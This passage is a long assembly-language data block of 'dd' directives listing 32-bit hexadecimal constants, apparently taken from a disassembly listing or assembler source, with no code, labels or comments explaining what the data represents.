		dd 0E0161C4h, 95122811h, 3E02099h, 0DB9C8A75h, 0C305565h
		dd 102B7C12h, 68602503h, 90B1D119h, 0EFC183B4h,	385424D7h
		dd 0AFB9801Dh, 4196B108h, 0E732C9F9h, 644499E2h, 51E62D0Ch
		dd 15949813h, 6C767784h, 72B39B08h, 8DDE330Bh, 12C92817h
		dd 0BB088180h, 0EACF3E31h, 709AF100h, 0A684A355h, 0C2EE173Dh
		dd 0A1B709FBh, 86E6D402h, 8F1B106h, 0E7AB2A69h,	0C800CD9Fh
		dd 5DD4A09Eh, 767F0F2Bh, 9166C3C2h, 0AA0CC1A8h,	300CAF94h
		dd 308E18A1h, 0A324902Dh, 0A2004491h, 6B5AB2A5h, 39BB6175h
		dd 0CDDB945Fh, 1380809Fh, 18D3CA48h, 4A0500E3h,	2D412BFCh
		dd 14608596h, 16A82350h, 1A990015h, 37F84D1Bh, 0D500E3E2h
		dd 5C700464h, 689ED6h, 0C22DDF6Ah, 4055A193h, 0E7360E07h
		dd 90F76D8Fh, 88AA7843h, 97D71B6h, 0F57AC209h, 28950580h
		dd 2100AB72h, 5D457075h, 0B301C52h, 0C8565993h,	90FB8307h
		dd 90F86974h, 0E2A76400h, 0E79EC501h, 519B04BFh, 81FD041Bh
		dd 0E460159Ch, 80A0050Fh, 0ECA0A48Fh, 9176B3A1h, 41DC35F1h
		dd 141109C8h, 0C29F1840h, 92AD7F42h, 0FCB77108h, 9380005Eh
		dd 8F5C2941h, 3B329CA3h, 70A616Bh, 0C85230A2h, 6C041A02h
		dd 20B444C5h, 60804C88h, 0D53851AAh, 0DE061132h, 0A97F7B58h
		dd 0CB450119h, 86E88237h, 10B2F138h, 1DA28D6h, 6BAADD34h
		dd 0D17C3E71h, 0D70BDCA8h, 418DC98h, 69696729h,	0A43101E8h
		dd 0D95A670h, 5BE0802Ch, 0ED962F8Ah, 5610C006h,	0EE909FB3h
		dd 19482898h, 97ACC2B8h
		dd 552F0067h, 9B010D83h, 0C39EC2FBh, 1820B26Eh,	24AF492Ch
		dd 0A0BE0C00h, 129A1975h, 0E6001890h, 0F78F8711h, 2635903Dh
		dd 91C411Bh, 0B40007C2h, 166A9CA2h, 3C45232Ch, 4CEC801h
		dd 944A1427h, 4C3BB500h, 0EC9D975Bh, 2AEF370Ch,	2479B6h
		dd 47877A4Fh, 831353D3h, 763D0C1Eh, 27855780h, 0A47E1Fh
		dd 9BA760BBh, 251172C1h, 1FCEE49h, 33A0C220h, 60348FFAh
		dd 0D6B039C8h, 2F8B2984h, 0B2F89004h, 97E65872h, 57E43254h
		dd 4185EB0h, 12B19921h,	0E00F412Fh, 0A1C0A529h,	77272BABh
		dd 0F118A16Bh, 0D8FC110h, 0E9E6F18Bh, 0C9D417D5h, 9F760052h
		dd 1FAB4950h, 0B21CE7CDh, 89C95F60h, 1460003Bh,	44178C91h
		dd 0E920FE72h, 5C24001Dh, 0A3292547h, 20DF096Fh, 6D60E0A8h
		dd 0DE2F6179h, 4800929Dh, 70841817h, 0E928CDB2h, 6BFD8Ch
		dd 41668E33h, 0BE1DC9F5h, 929C0F31h, 411EAF44h,	0EEAEC021h
		dd 984047F1h, 4D4B9B68h, 11043C0Eh, 80BABB16h, 0D79AC800h
		dd 0ED89AA62h, 0D8350001h, 9CA42A78h, 0E681C300h, 5712BBE3h
		dd 662C2104h, 8F45142Ch, 0BE40B827h, 7414D8Bh, 0F1C70983h
		dd 88BFBh, 8C8A0F68h, 0D4261848h, 1827A23Bh, 19153FA3h
		dd 57889B8Eh, 0CEDB1293h, 30C05E2h, 3494302Bh, 92000196h
		dd 6157117Dh, 2C29B1F2h, 807C67ABh, 1F9AD40Ch, 5E32B307h
		dd 29A788A5h, 15E0E4BBh, 8090683Eh, 1E3BA00Ch, 718F708Dh
		dd 8019C62Dh, 0FF1631B3h, 351DF118h, 3CCB241Eh,	4DC980E0h
		dd 598329D1h, 0B11450EFh, 44587C8Fh, 2041310h, 7F553A2Dh
		dd 4050A1h, 0CE70DF02h,	99B05214h, 0B169A560h, 0CC772DBh
		dd 174A6B58h, 5C05D6F9h, 0CC1D8293h, 0E8091483h, 7E388BFh
		dd 0ED499A32h, 80189BD8h, 0A3007505h, 5ABF3F71h, 38FD4CCh
		dd 0E970C61Ch, 0A104FF2Ah, 752B8CAAh, 49D75802h, 1F1D2081h
		dd 0FB5320EEh, 764A700h, 41ED68BAh, 4C1672D9h, 590EB904h
		dd 2ACAEE9Eh, 1DC1161Ch, 93F8A28Ch, 96F1F20h, 7F6AC807h
		dd 3B722448h, 799D0A1Eh, 96E1F941h, 8F437E59h, 8BB09F33h
		dd 27959Fh, 6F3AC1AAh, 10E9FDB0h, 5D3F1090h, 710F825Eh
		dd 0C8F42B11h, 0C0AE2A2Ch, 4775A779h, 0A000FEB2h, 92BE817Dh
		dd 58C21BDFh, 0BC822880h, 0D0C0B7CDh, 8D0675B2h, 154A888Bh
		dd 80AA09C9h, 8082D86Dh, 98E008EDh, 6A01A0F4h, 0B91ABD46h
		dd 60204450h, 30704137h, 1225EB15h, 26249030h, 0DBBF401Fh
		dd 31E5A70Ch, 1DACC03Ch, 1395B24Eh, 9C284262h, 840A11B7h
		dd 367108h, 900CC870h, 3B241F60h, 0B194503Ah, 348F28B0h
		dd 32439001h, 6CC0BD6Fh, 985A7020h, 9256094h, 43D73D89h
		dd 2B9488C1h, 0AC249BE0h, 280A4526h, 4DC780BCh,	0B2BD37h
		dd 5D1E673Dh, 93E46A44h, 72E63201h, 87258A9Dh, 20064428h
		dd 50BD9E2Bh, 0D6248D7Ch, 2C3F9C62h, 7184430h, 0CA0C4CC8h
		dd 70046169h, 3380112Bh, 26EF2596h, 7228E42Eh, 32DE2506h
		dd 8D89419h, 0D61FA277h, 0FB33B88h, 2C400ACBh, 96923A17h
		dd 36AF0500h, 0E6A1DDB0h, 40336375h, 0D7CD9B2Eh, 29C1C3CCh
		dd 975726C1h, 0B830EC10h, 0C0AB79F5h, 0AD978A1h, 90007284h
		dd 8FA605E6h, 9066A0A2h, 30C957B5h, 10802A88h, 1F5FC715h
		dd 0E7370042h, 8A9578A6h, 2B18ACD4h, 0AB29369Bh, 0E0A16028h
		dd 326642D1h, 0FE2F411Eh, 0A0351304h, 222B5CC8h, 7A1BE48Dh
		dd 0A1B1A1B0h, 0C0515586h, 849A52Ch, 0BC549CE9h, 4881F383h
		dd 847C9041h, 2BBCE506h, 0C912EA3h, 942598CDh, 1066579h
		dd 32A323D8h, 28A24821h, 0A60A6722h, 180D9802h,	2EFE2D85h
		dd 0ED24E040h, 31AF149Eh, 0A71439Ch, 2319E454h,	68C8DCABh
		dd 100CE4A8h, 0C0356011h, 0C241CA26h, 407E12BFh, 0F330AC20h
		dd 2201692Eh, 4D83462Ch, 73704A94h, 14550C62h, 0E6899C35h
		dd 898D352h, 85B74A18h,	42EE8FE0h, 0EC2BB4B8h, 0E42CC4E0h
		dd 5B1369E8h, 0EC0022B6h, 0E80C2ADBh, 0BD409CAEh, 0ABC8C232h
		dd 0E57B3020h, 4F80A17h, 98884624h, 1B261066h, 17BC9F88h
		dd 457B156h, 561CC6Ch, 286CA194h, 67D0A93Eh, 0B60C284Eh
		dd 9558A4D4h, 129A544h,	71076C0Ah, 3417E215h, 0A280169Ch
		dd 0DBB8398Ah, 40B3C215h, 111F08A0h, 0BB40949Eh, 702D698Bh
		dd 0A9990B0Ch, 14901C4Bh, 41C91780h, 0A528CBDAh, 0DC583C6Bh
		dd 3D7A4222h, 51D4E055h, 2115658h, 83495DFh, 15CA560h
		dd 8B1C2DCAh, 0C0F5966Ch, 1340AF80h, 42D2136Ah,	0E5F40120h
		dd 47DA8A9Eh, 0D9BC4A48h, 0AF0C1BEFh, 639184E7h, 20DE1130h
		dd 0DD062403h, 35A7C91h, 0B092B198h, 0CBE26119h, 0DB0871A9h
		dd 0A0192588h, 0CF18298Ah, 66609771h, 3D57907Ch, 6289207h
		dd 60048FC2h, 704118C5h, 8062CA55h, 0B42303D8h,	0F7E68300h
		dd 79E22C17h, 48DD2099h, 0D82429BCh, 8B09A863h,	80A4C2EDh
		dd 0A7C27DA0h, 24EF90AAh, 8810AF3Fh, 0DB000AF6h, 0B3AC2217h
		dd 9E0F00C6h, 0F24FBEB7h, 0DC00A771h, 0C5B50205h, 1D4B0773h
		dd 5064E0h, 0C0B7AE12h,	8A00FCD7h, 0ACAF2275h, 0E60388h
		dd 231E49A5h, 0C8DDB104h, 0A9641100h, 0D650B294h, 4C5A1680h
		dd 0C078001Eh, 6C89C6D5h, 88BE40C7h, 46BF81C1h,	6805D0h
		dd 1DEBC893h, 4B73C272h, 74C11100h, 0AE52BB5Ah,	0FF0200B2h
		dd 226295C6h, 3F01C088h, 46B9811Dh, 78626814h, 0EE043FA4h
		dd 4A3F854h, 8F133AA9h,	90D887BFh, 0EBD09D7Bh, 82AD0507h
		dd 0EE1F4879h, 604C807Fh, 1BDA580h, 0B888C7CEh,	80ACBB73h
		dd 7FB7E540h, 0A90853h,	12F8C8AAh, 5670D472h, 7CD64501h
		dd 903B690Dh, 8DABBFCh,	21A485E2h, 94153C02h, 0A92E00B8h
		dd 0FE00DBA5h, 7CCE7211h, 0C14454h, 60580B78h, 0DB5166B4h
		dd 7798E200h, 0CE6ABC74h, 0A6900715h, 88244E7Fh, 3814FC13h
		dd 0B5ECBA94h, 19C5C00Eh, 8049AE9Ah, 0C8ABA923h, 72140BFEh
		dd 808348C7h, 4DA874D1h, 0AD00B212h, 0CCF9D84Bh, 0A27362h
		dd 9E163DACh, 0F254477Ch, 0DE9D0400h, 0D9A748EBh, 565B3C76h
		dd 6474BB03h, 47D9BC62h, 0B8D0C0C9h, 0A60CA2FEh, 409F1B3Fh
		dd 67F20E4Ah, 4800C8B2h, 5274C5ADh, 0B907CAF8h,	80564D4Bh
		dd 0E9CCBB50h, 76620089h, 0F3FB878h, 50717C81h,	0B238077Bh
		dd 114E16CAh, 0BF8C6Ah,	0B3A46716h, 0E61988h, 224749A6h
		dd 3CCD9B75h, 0F3724E04h, 69075079h, 0AE559059h, 9903B3ABh
		dd 226189C5h, 16C1B8B6h, 0BABE3953h, 0AB79398Fh, 0B51CFCE0h
		dd 470381C6h, 4FB9D343h, 0A7BEB058h, 0FCB3005Ch, 7874B598h
		dd 1E003AA8h, 5743BBA0h, 38A1A93Eh, 728005D2h, 465580F5h
		dd 4D00B9C4h, 0BCBD1241h, 0FAD947h, 78306C85h, 82133D63h
		dd 56BE7C07h, 0DD106806h, 166B0EFEh, 85981D3h, 0B78346ACh
		dd 82CBBDAFh, 8D0866CAh, 79D0FF04h, 0ECED004Dh,	0DDEB5513h
		dd 0D1054115h, 8F1116F2h, 0E6C0342Ah, 82A50FE9h, 0B216D61Ch
		dd 7115ECC0h, 214B019Eh, 8041A2B5h, 27006E34h, 2D09E6CFh
		dd 515B0D48h, 94F4011Ch, 0F04F3F91h, 8E00425Ah,	373DFB7Ch
		dd 454ABBh, 416392CDh, 0CE8F7733h, 1BD12D1Ch, 0EDF52780h
		dd 5F4AE3E6h, 0D64400A2h, 65DE2520h, 0F8000C5Fh, 0F444B5F5h
		dd 0D9E22D9Eh, 832EB8A3h, 1B8CF8A0h, 0FB2BC8F4h, 0B7101CC9h
		dd 6CA0A92Fh, 8611FE33h, 600B5001h, 0CCB97E55h,	612978F0h
		dd 0CFBF59A3h, 0D0CFCFE5h, 0DC221546h, 21B308CCh, 0E5D702E1h
		dd 77832C6Fh, 0C0BDC54h
		dd 0DB7A8092h, 5BCBA2AFh, 74BC418Ah, 0E404A6FDh, 91EA05D6h
		dd 79200695h, 0F5563D21h, 0EC5A1380h, 1C892353h, 0C447A30Dh
		dd 5091F098h, 0A6FA83D8h, 31EECA7Fh, 0F2511106h, 50FC8EECh
		dd 447AACD6h, 0E52DB08Ah, 10D880FBh, 5479F811h,	428CA6h
		dd 2FC163B3h, 2765869Dh, 3083553Ah, 0BC6921B9h,	84260163h
		dd 2DFA57D3h, 4B5F73Bh,	4206F9B8h, 0A7F52612h, 0D725AAD0h
		dd 0A6F95C20h, 8CF6F280h, 0F15211F3h, 0EA9216ECh, 93150070h
		dd 8A8B27E6h, 80959B25h, 0FE57C1A4h, 2C0A4029h,	784B7FF8h
		dd 0A58BBC81h, 0EDE8C510h, 5128523Eh, 0F1F09140h, 0CE63BA80h
		dd 8343452Fh, 6800BF22h, 53846447h, 0F85B9Ch, 1F1C4102h
		dd 0A08C0B83h, 4A78A609h, 0DC902316h, 0FE7BC019h, 3A8F0033h
		dd 0FACD319Fh, 85079591h, 0DF53A668h, 0AAFC30D0h, 709B182Dh
		dd 0A5D9B844h, 0B77F3218h, 121B179h, 0FD29924Eh, 0FC9ECDA7h
		dd 5E0076E5h, 726FA5DBh, 881D49B1h, 0C300B0C6h,	3BC985FEh
		dd 1A84FA5h, 0C91C1D0h,	2083E6E0h, 75006B4Ch, 40258EE3h
		dd 6A56971h, 2604726Dh,	0FB014965h, 1C293A2Dh, 0DC4BAF46h
		dd 2402A3DDh, 44A0AF8Eh, 2A9E24B4h, 6154098h, 5201041Dh
		dd 3E8C3174h, 41E47E19h, 609500DBh, 14A01B15h, 8E9F6B35h
		dd 52C3E290h, 545CBEh, 0D5264218h, 4098FBAEh, 3392BB02h
		dd 74D28A96h, 0A85DC08Ch, 2B1DBCCEh, 0C240BF19h, 0AEEF6DC0h
		dd 18B10034h, 83152FDBh, 0DA303BA0h, 0A4AA60B0h, 0F4A09D79h
		dd 0E5CC68D0h, 8A81200h, 8D5A3CBDh, 2A3901DAh, 1A333779h
		dd 0BF3880A4h, 2DB68B5Fh, 463092CCh, 63BD01F6h,	86AD2FC3h
		dd 6B88BA0Ch, 0E1640046h, 758ABF3h, 0B55A862Dh,	40C26080h
		dd 0BFC6303Bh, 0CD25CB68h, 2CF2DCAAh, 8856C0C4h, 0B4552C0Eh
		dd 549A2F00h, 0B0DC28FBh, 506DFA4Ch, 1200F75Ch,	0CFC1CBE1h
		dd 4425043Ch, 1490CA1Ah, 7D9B0501h, 39442941h, 0BFF03836h
		dd 9F085299h, 6AF9EDBh,	0B9141589h, 41A2FF09h, 1381047h
		dd 0F9D8017Fh, 0A3756EA0h, 0A4122EE8h, 52848E4h, 0AAE2D877h
		dd 58E7003Eh, 19359630h, 0BBACA29Fh, 3A70078h, 8CA42F26h
		dd 0A5C6E310h, 45A9713h, 428C950Ch, 72DF582Ch, 46509034h
		dd 0A6F713D1h, 1CE69709h, 0EF543D74h, 0A3FC04F3h, 0BD039B8Ch
		dd 1A19104Ch, 173157CCh, 46273E14h, 0B8C12680h,	0BC4674h
		dd 2A7FDC1Ah, 0C40A77A3h, 2786A170h, 0CFEB440h,	0BCA050ACh
		dd 0F3B18094h, 1DF0E10Bh, 20002FCh, 0C05E1AA6h,	7EFE2D8Eh
		dd 441748B2h, 31123B2Ch, 5E8AC1E0h, 8513AFC8h, 0B83206D9h
		dd 14A81107h, 7B9384C1h, 0A4D12500h, 0C0B690C4h, 4CFC3D1Dh
		dd 1C24E45Bh, 0A39F8108h, 2062A2CBh, 0F84B8040h, 0CCF4BCCCh
		dd 8FB92A40h, 0B31D7F70h, 0C467809Eh, 0B7E43DDCh, 36B5C600h
		dd 35D11127h, 44AE5D00h, 480D8F1h, 4DB70092h, 27CEFABFh
		dd 4C188365h, 0C332A459h, 398CB21Eh, 845B1513h,	0F8048CDCh
		dd 41E1801h, 0CA93BB50h, 2C038D9h, 8D480786h, 7499E0FBh
		dd 0FA44C0CDh, 0B264DF2h, 400050EFh, 147E608Eh,	0C31D0B72h
		dd 107AA486h, 8A6FB20h,	8D3A3B68h, 6B1D9702h, 85F04A4Bh
		dd 0C8400E58h, 0FF22AFC5h, 2E1224C1h, 67944054h, 98A6E960h
		dd 3B06E60Dh, 9900D16Eh, 9FFA6ADFh, 8C520810h, 653BD1B8h
		dd 0D428091h, 0AD5C7145h, 0D4294C51h, 1B80048Fh, 81985359h
		dd 1FE96D00h, 0CFDA2FC2h, 0E47016F9h, 0FBC50064h, 4E7556E8h
		dd 584AF612h, 86AA2C08h, 51A48CB1h, 0A1CFF805h,	0C0B8ADE6h
		dd 5EB4C92Eh, 7402B746h, 9BCDDA7Bh, 0A47A9CC0h,	611B8B27h
		dd 60003BA8h, 86144658h, 48340ADDh, 176514A8h, 132E3C10h
		dd 20233A95h, 2033E473h, 543A12A4h, 0BA050E23h,	39C0B3EBh
		dd 538F150Ch, 770088AFh, 0BF2B7392h, 0CE14A404h, 8E8096B1h
		dd 90047CB0h, 0A8ECCF25h, 890DF440h, 0D464DA03h, 0D388E800h
		dd 29AEBBD9h, 1310923Eh, 46478B2Ch, 8C900C44h, 0CCD38A4Fh
		dd 3A4991A6h, 68E46D8h,	80DA4BF0h, 710799BBh, 0A10BF79Eh
		dd 4336A3C0h, 7F2F000Eh, 8D88A983h, 65090616h, 8B8A7D07h
		dd 11A01D82h, 2BD980C0h, 90090777h, 15C90B6Bh, 9C0736D8h
		dd 24A2690Bh, 252EA483h, 408E7A3Bh, 9D01639Eh, 283FB2D7h
		dd 2FB431D0h, 7C488FB1h, 2D4C12F8h, 22BA82FCh, 8587630h
		dd 283FA1FCh, 0D4F93825h, 0DAF5E94Ah, 7301C07Ch, 0BAC2E3E5h
		dd 231A433h, 0D825DD51h, 0AF786A10h, 45A2FE12h,	0D8032060h
		dd 0EA023FDh, 0DC000B11h, 0CB8CD87Bh, 4B3B9255h, 0B1FD13C7h
		dd 0A3165004h, 1C923549h, 88CE8CC0h, 0B5632980h, 4004488Bh
		dd 0C2AC9879h, 0A3B4E53Ch, 1B511E4h, 0CCE5CAE8h, 2430C9B7h
		dd 29104171h, 751516FCh, 0D2B2B804h, 849EC500h,	0DA135891h
		dd 40A42932h, 0E44B0F1Ch, 0B4E0CF03h, 81B58504h, 0E6087106h
		dd 4C384772h, 935AC4F7h, 90E0CF1Ch, 2890987Fh, 0BF01F446h
		dd 0BD2FCD63h, 3790B86h, 8EF06448h, 0C7E8564Ch,	7012C2E8h
		dd 0F80A160Dh, 0CEC18075h, 0C4E5C0E5h, 0E488BE18h, 0CAE500D6h
		dd 7419C882h, 0A00413E8h, 84ABD8D1h, 84894A3h, 7A014423h
		dd 66A0FAD8h, 21880418h, 19D80572h, 8024AC7Ch, 0BD1C0A4Fh
		dd 0C830FF07h, 0F24B12F2h, 24B67D7Ch, 82B022A0h, 4E1862Fh
		dd 0BA88207Eh, 0DE1C2C43h, 0FD3E7A05h, 14A8D832h, 14F93F80h
		dd 8A2CAAECh, 0AB11E091h, 40344A26h, 94559BEDh,	5DF443Eh
		dd 6CB14F35h, 4ABB8444h, 0B2D81737h, 0E0E71EA0h, 0D879DA00h
		dd 5DEAFDCh, 538B29BDh,	1068B96Ch, 5700E43Eh, 0B1A5E21Dh
		dd 69242B94h, 440F6CF0h, 4008B260h, 1E4C85E8h, 600849E9h
		dd 187B7C19h, 0BEE53CC4h, 0BB11F4A3h, 0E5CCE600h, 321E3CF6h
		dd 0EA00867Ch, 121BDC4Fh, 0BA8A94C8h, 4700FB3Ch, 6EE99AB0h
		dd 3775DC21h, 7AC8FC01h, 0C1903827h, 5BF6033h, 66FA4C31h
		dd 84C0B865h, 34A6AF73h, 4AAFEEB0h, 0B9A81C54h,	30E66EAh
		dd 0E1F0E0FAh, 2C05D9D1h, 94B0E189h, 0DD0068F2h, 6FC1C50h
		dd 5C12A290h, 8F82E828h, 0D4AE9F73h, 0ABB98481h, 0A60DE58Ch
		dd 9508D4A8h, 4F2C003Bh, 9372DBB2h, 0CFB92B00h,	1CB4AC3Eh
		dd 0C9860679h, 71B680E5h, 0D4007C84h, 0A8C136CCh, 1F621129h
		dd 0C71C5699h, 0CAA1C8F7h, 997211D8h, 0DCE5B94Ch, 88BCD858h
		dd 0E50ED19Fh, 0EF822BD2h, 38C03DDBh, 0E9712219h, 7F25098Ah
		dd 30676CB4h, 94730C44h, 0F4C92C8h, 64CBC62Dh, 7CDC0724h
		dd 0E9DF3590h, 0ACF0480h, 893EDB30h, 40782D4Dh,	0E074DDDCh
		dd 0D1C099B7h, 0B818BEh, 0FCEA2A25h, 0A4C97282h, 0DB9F3F0Bh
		dd 0BF18F8D2h, 6C48DC10h, 18A12800h, 5F317244h,	8B328ABh
		dd 0DD74DCh, 8DAE3C32h,	7011D025h, 0A269A503h, 0A8A18C1h
		dd 0B217BE0h, 54630B98h, 0E610D05Ah, 2C0037BDh,	0C83E2D56h
		dd 2A22FF9Dh, 0DD1800ACh, 402E9CBEh, 6A3BCE41h,	0A6D28281h
		dd 797C2612h, 83CC11F4h, 0CA03A6FEh, 110831CEh,	0C8ECF655h
		dd 4F152F8Ah, 0C9804061h, 2F4C2D11h, 20D0E439h,	0E8B016F7h
		dd 0C344120h, 2275A22h,	0DE122530h, 0C0D120C1h,	0AA12632Bh
		dd 7BE424E5h, 0CD792D60h, 0B19E9900h, 98D8B517h, 0C98037C1h
		dd 79D3B0A1h, 70F164E5h, 0C884004h, 0FCC101DFh,	0CF3D9002h
		dd 3ED88455h, 88E0BA3Bh, 0D6B60AAAh, 0BFE09E0h,	84B2BF7Eh
		dd 0BF44F447h, 2B47A060h, 332D2212h, 41575809h,	0B063C824h
		dd 1FC0B8A7h, 22588C8h
		dd 3D8A937Ah, 0D0A24B07h, 0A4D11426h, 0EE18BCD9h, 0AFDE790Bh
		dd 49C5A9Dh, 1A67C3D9h,	0AB7740A7h, 0B8F031Ch, 0B2A323BFh
		dd 0D77802Fh, 332947D4h, 3009A2C8h, 1705E687h, 27117C43h
		dd 3F20F4CCh, 5D122E55h, 8B384232h, 0DF057BE7h,	0B684E4h
		dd 5327492Bh, 2261147h,	358F41C1h, 0B841AF1Fh, 4246080h
		dd 91962D57h, 0E3DFB4C0h, 0AFD2AB02h, 9F1171E5h, 80BB11A0h
		dd 260ADAEDh, 70AE6017h, 0B7523320h, 561D2C90h,	10279DB0h
		dd 80103DECh, 10BD12EAh, 371D8A90h, 0A9B1B17Bh,	3A8DB818h
		dd 40305B81h, 388C4192h, 8C7CBC90h, 98E5F102h, 0E1124D90h
		dd 708EA764h, 0C5BD18AFh, 0FD2A7AD2h, 80713E5Ch, 5C584AEDh
		dd 76E30Ah, 4E29FF9Eh, 1D98C449h, 0A3A5D320h, 58D0C2BCh
		dd 46F8B07Ch, 0E53C7D77h, 11D4A3BAh, 0D8E20BB9h, 418C00E5h
		dd 135B0848h, 0CC8CB1D2h, 7F416B60h, 4029C460h,	6D4FFF33h
		dd 41F34C32h, 7D184740h, 0A0FBD80Bh, 7B849C7Eh,	0CDD80126h
		dd 0AFF4A624h, 0D462E6h, 135707E0h, 3FF8A979h, 0F2130ED5h
		dd 552400D7h, 0EF61B27Dh, 4300DCF0h, 0C82D38B0h, 80C9FCh
		dd 462C21B9h, 70064CF7h, 465E9896h, 0F1F50079h,	93605BFDh
		dd 0FA9E13C8h, 6084C914h, 89880B1Ch, 4D871F25h,	35941769h
		dd 0F800408h, 0F2620543h, 6F21CE2h, 1350D130h, 908AC193h
		dd 0F463D7Ch, 97A85107h, 1161B619h, 3C2CB01Ah, 0DEE1F280h
		dd 21000E57h, 0D5AC6B87h, 16D7D8A9h, 5B20199h, 823A2DC8h
		dd 3CFE7394h, 0DCD3BC29h, 5C07C860h, 0A89854B0h, 1BAB2917h
		dd 4620EC5Fh, 0A63C70CAh, 16DEA701h, 0F84B3D54h, 0CE8601FDh
		dd 2E199001h, 0F16C60C0h, 0B31100EDh, 4B967FE9h, 4C8353Bh
		dd 0C0F50h, 102EDF02h, 0CABF01F6h, 457C66B8h, 8092C19Dh
		dd 4AE0F15Eh, 602A020Fh, 4FFD41A9h, 0C00CBD3h, 0C5BE5F29h
		dd 16222DFBh, 4A1FFC1h,	1BF6F1Ch, 8E663B62h, 3D0B5868h
		dd 281FB217h, 3382B691h, 28E48FB1h, 98A0FF3Ch, 0B460838Eh
		dd 32C800C1h, 7A841941h, 0CE17E559h, 0C4E2B172h, 9E652E1Eh
		dd 0B8AD4044h, 0F79D4804h, 8EBC0839h, 0A0B7DC0Ch, 7FA52970h
		dd 0C7671290h, 23443A32h, 92ED007Bh, 0E904B3Dh,	49C288h
		dd 9B018612h, 0DDD1E966h, 0BEAB9701h, 728DE8C8h, 0E92B9DECh
		dd 258FC434h, 0E4D0EF3Dh, 4E21E05h, 0B0F23C23h,	8F8342Ch
		dd 8A0D0B4Bh, 0A8E76904h, 20733C6h, 1D660865h, 94402D29h
		dd 0D098B99Dh, 4184120h, 0AA2C5AF9h, 689013C0h,	0F84521B6h
		dd 0A3240B7Ch, 0C8DA7333h, 94312322h, 10465EE0h, 53813F7Ch
		dd 0D5C68C0Eh, 628FC058h, 34604D81h, 8AA8B431h,	913C7263h
		dd 13703C29h, 6C849D86h, 0BBF2D4B2h, 135B630h, 0BAD49282h
		dd 607904F7h, 0EB43D4h,	18263727h, 886B660Bh, 448611FFh
		dd 0AF49803Eh, 12363F4Ch, 8FD7h, 0DE265BD0h, 22664A7Dh
		dd 0DA210120h, 45CCB3BEh, 40D4B860h, 920B0C65h,	1F9A974h
		dd 694DBB50h, 2A5C0009h, 64636FABh, 183196A1h, 2021A461h
		dd 7B209B22h, 54A53063h, 92049E70h, 0DA2F3BE6h,	2DA8E081h
		dd 0FC014168h, 0AE49E6C3h, 44A12CCCh, 0B4674h, 0E0963A72h
		dd 689F2h, 27A79404h, 70C78730h, 802A0D3Bh, 0AEC820A6h
		dd 4AAF2407h, 34C6E38h,	125DE4CBh, 49B4B84Eh, 7189C019h
		dd 8D7BFFA6h, 0D5B81524h, 2DB2EC00h, 26B3B093h,	74341B8Ah
		dd 4600BB46h, 36A18A0Bh, 0E09C92C3h, 18E7671Fh,	3A646D4h
		dd 0C1E8F8CFh, 41BF4EE1h, 301567A0h, 7DE99FB0h,	18D10E8h
		dd 118566C8h, 0F8528736h, 939A9405h, 58A694D5h,	0FC3085B0h
		dd 8AD0E900h, 962FBD49h, 0A861489Dh, 70512789h,	2F4BE891h
		dd 102374h, 39520C2Fh, 38B0C487h, 0E406B120h, 1229C5CCh
		dd 7810C92Ch, 7BB98008h, 5157EEh, 0DC628141h, 92BEF8B5h
		dd 71C03E00h, 901B9C9Fh, 2D22815h, 0A95A198Ch, 0F08F4914h
		dd 0CAC042Ah, 6CE2C34Ah, 39FBDD00h, 0EE75AF74h,	1C483Ah
		dd 0F212D6C3h, 18D4ED10h, 0B1E5FE2Fh, 0E34CE6F9h, 0C4215A80h
		dd 8004125Ah, 0F7A323B0h, 3A9C7653h, 2B5A420Ah,	1023CCh
		dd 5B9850A5h, 0B101BC3Bh, 339D74D3h, 1100F015h,	5162EF16h
		dd 0C8A85BE0h, 880EA3D4h, 231C7391h, 9A40710Ah,	0E758DB44h
		dd 3F753956h, 0C9A729BFh, 0B6111C97h, 3F6F1F80h, 3CB2E2C3h
		dd 0E75FAA1Fh, 0C9D77B00h, 26351457h, 441C532Bh, 0E5B1499Ah
		dd 60B9E454h, 998778Ah,	0EBE25DBAh, 2A61EC5Eh, 0F1817393h
		dd 92E7EADDh, 7F809249h, 0BC3ADC84h, 2B001523h,	0FCCF27FAh
		dd 8E2D0B3Ch, 201FD2A6h, 3380BC11h, 3CD19BE3h, 0C6990800h
		dd 0D05E21ABh, 675D205Fh, 17134D01h, 819EC557h,	6BA3EC30h
		dd 0C8E2C0BAh, 45227800h, 0DCE03FE1h, 0A8D12D2Bh, 863F78h
		dd 0AB39E60Fh, 2DFE2E4Bh, 10FC22F1h, 0A209126Fh, 7802A9A5h
		dd 0D320B6D6h, 1648720Fh, 302DA82Ch, 379B2A2Ch,	33381763h
		dd 76BC82FEh, 0C8C6A70h, 0A85905EBh, 75D1BA03h,	0BC972590h
		dd 825844EBh, 3D8D00A4h, 986FC8D3h, 0C0F51374h,	3C6FFAh
		dd 0CF6023BAh, 9F6CC8h,	910FEADFh, 27A82BACh, 0F0933F06h
		dd 0FAA0AA54h, 0DC868A73h, 9F28492Dh, 7769C884h, 8EB4A4A9h
		dd 0B8E8A054h, 0C9B4028Ch, 38E2A51Ah, 0E7993443h, 353430B5h
		dd 24D4C197h, 4423484Ch, 2700FB3Ah, 2F6E2DD0h, 0A017098Eh
		dd 86014B18h, 833A1245h, 1E48938h, 77BF8B2Ah, 0FF21D816h
		dd 0D2F99044h, 0B8B294A2h, 1E69A30h, 0D0E003DAh, 5C7B55F7h
		dd 0C78A404Ch, 600F4420h, 749F098h, 3ED67B35h, 580B2268h
		dd 0CC453462h, 8249D0A6h, 1903B5A8h, 91411309h,	0BC648FACh
		dd 9188A580h, 10F858C1h, 0DC127B73h, 0EF1804D1h, 0D4842770h
		dd 40687949h, 4803B938h, 873BEF0Fh, 0F858C3EEh,	5735AC1h
		dd 655BF390h, 85B8D2B6h, 8B5FBA00h, 48054EAFh, 0B9C0F218h
		dd 4F2FCF63h, 188B4Dh, 0CD644267h, 2CCACF2h, 3D89BBFBh
		dd 0C4695613h, 0C2F3FE2h, 803D7C23h, 43BE66BDh,	67A32BB4h
		dd 4102F9B3h, 2CADE726h, 0DF2854D0h, 241BA744h,	0E4FC240Ah
		dd 9D6240BCh, 978D462Bh, 0E0CB4CA5h, 0C367940Ch, 13C03E8Eh
		dd 0C47ACD73h, 41BB5B58h, 0D6EF7916h, 42F54030h, 637B1033h
		dd 81B1C88Eh, 796F9329h, 90E00C00h, 49A0174Dh, 1B8E8h
		dd 1C5C8E5Ah, 417770Bh,	0A84A1802h, 47345185h, 0A6E88BE0h
		dd 5D43206Fh, 4AF5A048h, 24109711h, 434E3D8Fh, 10809C14h
		dd 12208626h, 0EE115F25h, 4F290288h, 0A6DDE30h,	290F4E7h
